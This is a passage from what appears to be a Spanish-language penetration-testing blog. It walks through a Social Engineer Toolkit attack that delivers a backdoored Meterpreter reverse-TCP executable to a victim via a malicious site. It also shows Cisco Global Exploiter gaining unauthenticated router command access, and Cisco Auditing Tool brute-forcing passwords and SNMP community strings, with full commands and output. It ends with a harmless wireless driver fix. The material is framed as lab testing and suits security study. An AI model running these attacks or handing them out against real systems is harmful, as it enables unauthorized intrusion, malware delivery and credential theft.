En el siguiente paso dependiendo del escenario u objetivo elegimos la opción adecuada, en mi caso realice la prueba con la opción 2, Windows Reverse_TCP Meterpreter.


Después elegimos el backdoor, en mi caso elegí la opción 16, Backdoored Executable (BEST), elegimos el puerto, esperamos a que se genere la configuración y esperamos a que cargue Metasploit Framework.


Ahora que tenemos todo listo, solo tenemos que tener un objetivo a atacar para que navegue a través del sitio malicioso. Al llegar a la pagina web, la victima se le mostrar una advertencia pop-up tal como se muestra en la siguiente figura.


Si la victima da clic en Ejecutar (que por cierto la mayoría de los usuarios la hacen) el exploit será ejecutado y con esto tendremos acceso y el control total del sistema de la victima, en este caso la maquina con Windows XP SP3, tal y como se muestran en las siguientes imágenes.


De vuelta en nuestro equipo atacante, la sesión de Meterpreter se ha establecido correctamente y ahora tenemos el acceso a la maquina de la victima, tal como se muestra.


Referencias:
Computer Based Social Engineering Tools: Social Engineer Toolkit (SET)
Social Engineering: The Art of Human Hacking
Penetration Tester's Open Source Toolkit, Third Edition

Cisco Global Exploiter

Cisco Global Exploiter (CGE) es un pequeño script hecho en Perl que combina 14 vulnerabilidades individuales que pueden ser contrastadas con los dispositivos Cisco. Es importante señalar que estas vulnerabilidades representan a sólo un conjunto específico de los equipos Cisco y esta pequeña herramienta no está completamente diseñada para realizar una evaluación de todas las necesidades de seguridad de estos equipos.

Para abrir Cisco Global Exploiter lo podemos hacer desde la terminal.

cd /pentest/cisco/cisco-global-exploiter/
./cge.pl

Usage :
perl cge.pl  

Vulnerabilities list :
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability
root@delfi:/pentest/cisco/cisco-global-exploiter#
Opciones Cisco Global Exploiter.

En la imagen anterior se muestran las opciones y las instrucciones de uso de esta mini herramienta, también muestra una lista de 14 vulnerabilidades en un orden definido. De la lista de vulnerabilidades tomaremos un ejemplo para realizar una prueba contra un equipos cisco modelo 2600, así que lanzamos la prueba desde consola con el siguiente comando.

root@delfi:/pentest/cisco/cisco-global-exploiter# ./cge.pl 192.168.1.75 3
Vulnerability unsuccessful exploited ...

Vulnerability successful exploited with [http://192.168.1.75/level/18/exec/....]

Vulnerability Successful Exploited.

En este caso, la prueba se ha realizado utilizando la opción [3] - Cisco IOS HTTP Auth Vulnerability y como podemos ver la vulnerabilidad ha sido explotada con éxito.

Acceso al Router 2600 de nombre R2_WAN.

Ahora desde el explorador podemos ejecutar comandos del router sin ningún tipo de autenticación.

Password Brute Force con Cisco Auditing Tool

Cisco Auditing Tool (CAT) es una mini herramienta de auditoría de seguridad. Analiza las vulnerabilidades mas comunes de los routers Cisco, como las contraseñas por defecto, las cadenas de comunidad SNMP y algunos de los antiguos errores del IOS. Incluye tambien soporte para demás plugins y el escaneo de múltiples hosts.

En BackTrack para iniciar la herramienta Cisco Auditing Tool nos vamos al menú Aplications - BackTrack - Vulnerability Assessment - Network Assessment - Cisco Tools. Una vez que la ventana de la consola se haya cargado correctamente, podremos mirar todas las opciones posibles que podemos utilizar en contra del nuestro objetivo.

Cisco Auditing Tool en BackTrack.

En caso de que decidamos utilizar la herramienta directamente desde la terminal, lo podemos realzar de la siguiente manera.

cd /pentest/cisco/cisco-auditing-tool/
./CAT --help

Y lo anterior nos mostrara lo siguiente.
./CAT version [unknown] calling Getopt::Std::getopts (version 1.06 [paranoid]),
running under Perl version 5.10.1.

Usage: CAT [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]

The following single-character options are accepted:
With arguments: -h -f -p -w -a -l
Boolean (without arguments): -i -q

Options may be merged together.  -- stops processing of options.
Space is not required between options and their arguments.
[Now continuing due to backward compatibility and excessive paranoia.
See ``perldoc Getopt::Std'' about $Getopt::Std::STANDARD_HELP_VERSION.]

Cisco Auditing Tool - g0ne [null0]
Usage:
-h hostname (for scanning single hosts)
-f hostfile (for scanning multiple hosts)
-p port # (default port is 23)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)
-i [ioshist] (Check for IOS History bug)
-l logfile (file to log to, default screen)
-q quiet mode (no screen output)

root@delfi:/pentest/cisco/cisco-auditing-tool#
Cisco Auditing Tool.

Estas son las opciones y descripciones sobre el uso de CAT. Vamos a ejecutar las siguientes opciones en contra de nuestro objetivo, un dispositivo Cisco (2600).

-h hostname (for scanning single hosts)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)

Esta combinación de fuerza bruta y escaneo del dispositivo cisco es para averiguar cualquier contraseña conocida y los nombres de las comunidades SNMP. Antes de realizar la prueba, tenemos que actualizar también la lista de las contraseñas y community strings de SNMP en la ruta pentest/cisco/cisco-auditing-tool/lists con el fin de obtener una mayor probabilidad de éxito. Bueno vamos a realizarlo de la siguiente manera.

./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1

root@delfi:/pentest/cisco/cisco-auditing-tool# ./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1
Unknown option: 1

Cisco Auditing Tool - g0ne [null0]

Checking Host: 192.168.1.102

Guessing passwords:

Invalid Password: list
Invalid Password: cisco1
Invalid Password: cisco
Invalid Password: passwordvty
Password Found: p4sswordvty
Invalid Password: ciscos
Invalid Password: public
Invalid Password: private
Invalid Password: admin
Invalid Password: cisco_comu
Invalid Password: cisco1
Invalid Password: cisco2
Invalid Password: router
Invalid Password: routercisco
Invalid Password: secret
Invalid Password: Cisco
Invalid Password: telnet
Invalid Password: 123456
Invalid Password: default
Invalid Password: nicolay
Invalid Password: router1
Invalid Password:

Guessing Community Names:

Invalid Community Name: list
Community Name Found: public
Community Name Found: private
Invalid Community Name: cisco
Invalid Community Name: cisco1
Community Name Found: ciscos
Invalid Community Name: default
Invalid Community Name: Cisco
Community Name Found: cisco_comu
Invalid Community Name: adm

---------------------------------------------------
Audit Complete
Salida de Cisco Auditing Tool.

Para obtener mejores resultados lo recomendable es editar los archivos que se encuentran en la ruta pentest/cisco/cisco-auditing-tool/lists podemos utilizar cualquier editor de texto o el editor Vim para agregar mas palabras a los archivos y así obtener unos mejores resultados de salida.

SIOCSIFFLAGS: Unknown error 132 - para RTL8187 en BackTrack 5

Solucion al error SIOCSIFFLAGS: Unknown error 132 en chipset rt1887.


Los chipset rtl8187 en BackTrack 5 desde VMware al hacer
root@delfi:~# ifconfig wlan1 up
SIOCSIFFLAGS: Unknown error 132
el fastidioso SIOCSIFFLAGS, bueno aquí esta la solución al "SIOCSIFFLAGS: Unknown error 132". Abrimos consola.
rmmod rtl8187
rmmod mac80211
modprobe rtl8187
ifconfig wlan0 up
y ya con eso, tenemos el rtl8187 que se puede levantar con la orden ifconfig.
root@delfi:~# ifconfig wlan0 up
root@delfi:~#
y ya no da errores :)

Esto también se puede realizar copiando lo siguiente en un archivo de texto y guardarlo en alguna ubicación de nuestro disco duro con cualquier nombre, en mi caso rtl8187.
#!/bin/bash
echo Removiendo Modulo RTL8187
rmmod rtl8187
echo Removiendo Modulo MAC80211
rmmod mac80211
echo Agregando Modulo RTL8187
modprobe rtl8187
echo wlan0 up
ifconfig wlan0 up
Abrimos consola y nos vamos a la dirección donde tenemos ubicado el archivo y tecleamos.

chmod 755 rlt8187
./rtl8187

y listo, una imagen dice mas que mil palabras :)